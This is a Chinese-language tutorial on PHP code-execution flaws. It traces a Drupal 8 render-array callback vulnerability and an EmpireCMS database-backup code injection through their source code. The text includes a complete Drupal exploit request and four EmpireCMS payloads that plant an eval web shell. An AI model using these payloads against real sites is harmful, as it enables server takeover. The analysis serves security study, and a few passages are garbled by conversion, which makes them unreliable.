漏洞原理:
代码执行漏洞的原理其实也相对简单,就是因为我们传入的数据被当做了代码来执行。这往往是由于开发人员没有很好的控制用户输入的内容所导致的。
漏洞种类:
对于PHP来说,检测这一类漏洞,主要就是观察我们的一些能够执行代码的函数,其中要执行的代码是否用户可控。对于PHP中常见的代码执行函数,简单分析如下:
关于代码执行的函数,详情可看看文末的参考资料。
很多系统产生RCE漏洞,大多数时候都不是因为程序本身的代码问题引起的,更多的是由于使用了不安全的组件或者底层程序导致的,所以防御RCE漏洞 ,更多的是要从监控个安全检测的层面进行。一般的操作如下:
定期进行安全更新:
组织经常不能根据最新的威胁情报采取行动,不能及时应用补丁和更新。因此,攻击者通常也会试图攻击旧的漏洞。一旦系统和软件可用,就立即对它们进行安全更新,这对于阻止许多攻击者是非常有效的。
持续安全监控:
监控网络流量和端点,以发现可疑内容并阻止利用企图。这可以通过实现某种形式的网络安全解决方案或威胁检测软件来实现。
检测软件安全:
简单理解就是通过动态或者静态代码检测技术,分析可能存在的安全隐患。
首先我们看看关于这个漏洞的公开情报:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V6jnF9Kc-1659576659634)(img/image-20220801223159931.png)]
可见,影响范围还是比较大。不过在进行漏洞分析之前,我们需要先了解一下Drupal的系统架构。
对于这里的架构分析,由于采用的版本是D8,相较于D7或者D6,D8的结构有了很大变化,所以仅对D8的系统结构进行分析。
基本目录结构:
/core:drupal的内核文件夹,详见后文说明
/modules: 存放自定义或者下载的模块
/profiles: 存放下载和安装的自定义配置文件
/sites: 在drupal 7或者更早的版本中,主要存放站点使用的主题和模块活其他站点文件。
/themses: 存放自定义或者下载的主题
/vendor:存放代码的依赖库
index.php: drupal入口文件
接着我们可以看看Croe目录下的结构:
/core/assets - drupal 所使用的各种扩展库,如jquery,ckeditor,backbone,normalizeCSS等
/core/config - drupal 中的核心配置文件
/core/includes – 模块化的底层功能函数,如模块化系统本身
/core/lib – drupal提供的原始核心类
/core/misc – 核心所需要的前端杂项文件,如JS,CSS,图片等。
/core/modules – 核心模块,大约80项左右
/core/profiles – 内置安装配置文件
/core/s – 开发人员使用的各种命里脚本
/tests – 测试相关用的文件
/core/themes – 内核主题
对于其基本目录结构的分析就这这些,详细的路由和控制器调用等,请参考后面的“drupal8系列框架和漏洞动态调试深入分析”。
首先我们看看漏洞的paylaod:
POST /index.php/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.101.152:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
可以看到,漏洞的位置在/user/register下。
对于漏洞原理,主要是由于Drupal 7 提出了“可渲染数组”的概念, 这些结构由关联数组实现,并将键值对作为函数参数或表单数据传递,以便更好的呈现标记和UI元素。 被标记的元素属性具有以“#”字符为前缀的键 ,然后在Drupal中, 对于 #pre_render
,#post_render
、#submit
、#validate
等变量,Drupal 通过 call_user_func
的方式进行调用, 所以导致了可以构造关联数组的方式进行代码执行。
//file: \core\lib\Drupal\Core\Render\Renderer.php
// element is rendered into the final text.
if (isset($elements['#pre_render'])) {
foreach ($elements['#pre_render'] as $callable) {
if (is_string($callable) && strpos($callable, '::') === FALSE) {
$callable = $this->controllerResolver->getControllerFromDefinition($callable);
}
$elements = call_user_func($callable, $elements);
}
}
可以看到在这里就调用了call_user_func()方法。
不过我们需要知道,我们传入的参数具体是如何构造成代码执行命令的,这里需要进入 \core\modules\file\src\Element\ManagedFile.php 中分析:
public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
/** @var \Drupal\Core\Render\RendererInterface $renderer */
$renderer = \Drupal::service('renderer');
$form_parents = explode('/', $request->query->get('element_parents'));
// Retrieve the element to be rendered.
$form = NestedArray::getValue($form, $form_parents);
// Add the special AJAX class if a new file was added.
$current_file_count = $form_state->get('file_upload_delta_initial');
if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
$form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
}
// Otherwise just add the new content class on a placeholder.
else {
$form['#suffix'] .= '';
}
$status_messages = ['#type' => 'status_messages'];
$form['#prefix'] .= $renderer->renderRoot($status_messages);
$output = $renderer->renderRoot($form);
代码第五行,取出 $_GET["element_parents"]
赋值给 $form_parents
,然后进入 NestedArray::getValue
进行处理:
public static function &getValue(array &$array, array $parents, &$key_exists = NULL) {
$ref = &$array;
foreach ($parents as $parent) {
if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($parent, $ref))) {
$ref = &$ref[$parent];
}
else {
$key_exists = FALSE;
$null = NULL;
return $null;
}
}
$key_exists = TRUE;
return $ref;
}
在这里,将$parent 作为 key path,然后逐层取出后返回 .当我们按照POC思路发送paylaod时,此时构造的form数组就是下面这样:
然后调用了后面的renderRoot( f o r m ) 方法,将 form)方法,将 form)方法,将form传入Render.php中,并调用call_user_func()执行。
可以看到,执行后的结果保存在了$output中,最后通过send()控制器进行了输出。
我们访问目标站点,然后抓包修改重放:
可见,,成功的执行了系统命令。
不过这里和上面给出的POC有一点细微差别就是,访问的时候,不能直接访问/user/register,而是需要通过index.php/user/register进行路由才可以访问到,同时,可能是我系统原因,exec函数执行命令,部分命令执行不成功,所以换用了system函数。
漏洞情报:
查找公开信息,发现漏洞点在备份数据库文件处,进入文件查看:
// file: e/admin/ebak/phome.php
$phome=$_GET['phome'];
.....
//初使化备份表
elseif($phome=="DoEbak"){
Ebak_DoEbak($_POST,$logininid,$loginin);
}
//备份表(按文件)
elseif($phome=="BakExe"){
.......
}
//备份表(按记录)
elseif($phome=="BakExeT"){
......
}
可以看到,我们在初始化备份表的时候,调用了Ebak_DoEbak()函数,跟入分析:
//file: e/admin/ebak/class/functions.php
function Ebak_DoEbak($add,$userid,$username){
global $empire,$public_r,$fun_r,$phome_use_dbver;
//验证权限
CheckLevel($userid,$username,$classid,"dbdata");
$dbname=RepPostVar($add['mydbname']); //获取了POST传入的mydbname,并使用RepPostVar函数进行过滤。
if(empty($dbname)){
printerror("NotChangeDbname","history.go(-1)");
}
$tablename=$add['tablename']; //获取我们传入的tablename,此处未经过滤。
$count=count($tablename);
if(empty($count)){
printerror("MustChangeOneTable","history.go(-1)");
}
$add['baktype']=(int)$add['baktype'];
$add['filesize']=(int)$add['filesize'];
$add['bakline']=(int)$add['bakline'];
$add['autoauf']=(int)$add['autoauf'];
if((!$add['filesize']&&!$add['baktype'])||(!$add['bakline']&&$add['baktype'])){
printerror("FileSizeEmpty","history.go(-1)");
}
//目录名
$bakpath=$public_r['bakdbpath'];
if(empty($add['mypath'])){
$add['mypath']=$dbname."_".date("YmdHis"); //生成并使用下面的DOMkdir函数创建文件夹
}
DoMkdir($bakpath."/".$add['mypath']);
//生成说明文件,将POST传入的备份说明保存在备份文件下的readme.txt中
$readme=$add['readme'];
$rfile=$bakpath."/".$add['mypath']."/readme.txt";
$readme.="\r\n\r\nBaktime: ".date("Y-m-d H:i:s");
WriteFiletext_n($rfile,$readme);
$b_table="";
$d_table="";
//如果有多个表,循环将表明读取出来,并使用“,”分隔。
for($i=0;$i<$count;$i++){
$b_table.=$tablename[$i].",";
$d_table.="\$tb[".$tablename[$i]."]=0;\r\n";
}
//去掉最后一个,
$b_table=substr($b_table,0,strlen($b_table)-1);
$bakstru=(int)$add['bakstru'];
$bakstrufour=(int)$add['bakstrufour'];
$beover=(int)$add['beover'];
$waitbaktime=(int)$add['waitbaktime'];
$bakdatatype=(int)$add['bakdatatype'];
if($add['insertf']=='insert'){
$insertf='insert';
}else{
$insertf='replace';
}
if($phome_use_dbver=='4.0'&&$add['dbchar']=='auto'){
$add['dbchar']='';
}
//定义配置文件的内容
$string=".$b_table."\"; //使用双引号包裹了配置文件中的b_table的值。
".$d_table."
\$b_baktype=".$add['baktype'].";
\$b_filesize=".$add['filesize'].";
\$b_bakline=".$add['bakline'].";
\$b_autoauf=".$add['autoauf'].";
\$b_dbname=\"".$dbname."\"; //使用双引号包裹了dbname的值
\$b_stru=".$bakstru.";
\$b_strufour=".$bakstrufour.";
\$b_dbchar=\"".addslashes($add['dbchar'])."\";//使用双引号包裹了使用addslashes()处理后的dbchar
\$b_beover=".$beover.";
\$b_insertf=\"".addslashes($insertf)."\"; //使用双引号包裹了addslashes()处理后的insertf
\$b_autofield=\",".addslashes($add['autofield']).",\"; //使用双引号包裹了使用addslashes()处理后的 autofield
\$b_bakdatatype=".$bakdatatype.";
?>";
$cfile=$bakpath."/".$add['mypath']."/config.php";
WriteFiletext_n($cfile,$string); //将配置内容写入配置文件
if($add['baktype']){
$phome='BakExeT';
}else{
$phome='BakExe';
}
echo $fun_r['FirstBakSuccess']."";
exit();
}
可见,上述代码中,将我们传入的众多参数,写入到了配置文件config.php中,并且都是用了双引号进行包裹,所以对于写入的参数就可以进行详细分析,是否为可控的PHP代码,如果可控,那么我们就可以通过注入PHP代码的方式,达到代码执行的效果。
我们这里进行详细分析,先看一个正常的备份配置文件:
$b_table="phome_enewsztf";
$tb[phome_enewsztf]=1;
$b_baktype=0;
$b_filesize=300;
$b_bakline=500;
$b_autoauf=1;
$b_dbname="empirecms";
$b_stru=1;
$b_strufour=0;
$b_dbchar="gbk";
$b_beover=0;
$b_insertf="replace";
$b_autofield=",,";
$b_bakdatatype=1;
?>
可以看到,对于没有使用引号包裹的内容,都是以数值的形式存在,回看上面的代码,发现数据使用了数值类型强制转换,所以没有办法可以利用。
同样的,对于使用 了双引号包裹的数据,其中的$dbname使用了RepPostVar()函数进行处理,该函数的情况如下:
//参数处理函数
function RepPostVar($val){
if($val!=addslashes($val)){
exit();
}
CkPostStrChar($val);
$val=str_replace(" ","",$val);
$val=str_replace("%20","",$val);
$val=str_replace("%27","",$val);
$val=str_replace("*","",$val);
$val=str_replace("'","",$val);
$val=str_replace("\"","",$val);
$val=str_replace("/","",$val);
$val=str_replace(";","",$val);
$val=str_replace("#","",$val);
$val=str_replace("--","",$val);
$val=RepPostStr($val,1);
$val=addslashes($val);
FWClearGetText($val);
return $val;
}
可见,多大多数特殊符号进行了过滤,不过只要不使用上面的的字符就可以绕过安全过滤,造成代码注入。
$[tablename]是没有经过任何过滤就写入了config.php中的,所以可以构造php代码插入文件中,可以实现代码注入。
$[dbchar]经过了addslashes()处理之后写入了config.php中,只要我们不使用单双引号即可绕过转义,所以可以实现代码注入。
$add[‘insertf’]使用if进行判断,设置了固定值,不可控,所以没有办法使用。
$add[‘autofield’]同样使用了addslashes()处理,同样可以绕过,造成代码注入。
所以在该漏洞点,我们可以通过多个参数进行漏洞利用。
通过上面的分析,我们进行漏洞利用的方法就可以有多种方式,这里构造几个简单的payoad:
payload1:phome=DoEbak&mydbname=123&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=${@eval($_POST[cmd])}&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
payload2: phome=DoEbak&mydbname=123&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=${@eval($_POST[cmd])}&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
payload3:phome=DoEbak&mydbname=${@eval($_POST[cmd])}&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
payload4:phome=DoEbak&mydbname=dbname&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=@eval($_POST[cmd])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
payload1:
payload2:
其他paylaod不做过多测试,原理和方法一样。